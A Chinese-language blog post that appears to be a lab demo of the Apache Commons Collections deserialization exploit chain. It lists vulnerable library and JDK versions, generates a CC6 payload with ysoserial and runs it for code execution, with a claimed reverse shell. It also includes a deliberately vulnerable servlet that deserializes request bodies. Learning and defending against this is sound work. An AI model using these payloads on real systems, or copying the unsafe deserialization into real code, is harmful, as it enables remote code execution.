Commons Collection Demo

经典的反序列化利用链:Apache Commons Collections

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。

Payload适用cc库版本适用Java版本其他限制
cc13.x < 3.2.2jdk8 <= 8u71 or jdk7 or jdk6
cc24.0无限制
cc33.x < 3.2.2jdk8 <= 8u71 or jdk7 or jdk6
cc44.0无限制
cc53.x < 3.2.2jdk8 >= 8u76 or jdk6 >= 6u17目标Java缓解未设置securitymanager:System.getSecurityManager() == null
cc63.x < 3.2.2无限制

Commons Collections3.x < 3.2.24.0这些版本中存在反序列化漏洞

当目标Java应用依赖库里包含存在漏洞的Commons Collections库,且对由攻击者可控的数据进行反序列化时,会造成任意代码执行。

ysoserialCommons Collections6这个payload为例。

利用类库进行Java反序列化

将含有漏洞的jar包复制到lib目录下,然后右键添加为库。

或者以maven形式将依赖导入

访问https://mvnrepository.com

选择有漏洞的版本

使用maven进行依赖导入即可

访问是.class文件

从openjdk查找对应版本的源码,下载

https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4
https://hg.openjdk.org/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip

解压默认jdk中的src.zip压缩文件

然后将C:\Program Files\Java\jdk-af660750b2f4\src\share\classes\目录中的sun文件夹复制到C:\Program Files\Java\jdk1.8.0_65\src

在项目结构中添加src路径

可以看见.java源码,能够正常调试

maven中的包可以右上角直接下载源代码

jdkk1.7.0_21环境中使用cc6链生成一个cc6.ser

java -jar ysoserial-0.0.8-SNAPSHOT-all.jar CommonsCollections6 calc > cc6.ser

查看cc6.ser存在以aced0000开头

执行payload

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class testcc {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc6.ser"));
        ois.readObject();
        ois.close();;
    }
}

成功反弹shell

Java Web

环境:jdk1.8.0_319javaEE8commons-collections-3.2.1

写一个简单的servlet

package com.example.cc_demo;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.*;
import java.io.IOException;
import java.io.ObjectInputStream;

@WebServlet("/SerialServlet")
public class SerialServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        this.doPost(request, response);
    }

    @Override
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        ObjectInputStream objectInputStream = new ObjectInputStream(request.getInputStream());
        try {
            objectInputStream.readObject();
            objectInputStream.close();
        } catch (ClassNotFoundException e) {
            throw new RuntimeException(e);
        }
    }
}

访问:http://192.168.11.1:8088/cc_demo/SerialServlet

jdk1.8生成cc6.ser

改成POST,引入cc6.ser

如果导入的文件前面不是aced0000,则需要将Character Sets改为Display as raw bytes

发送反序列化数据

暂无评论

发送评论 编辑评论

|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇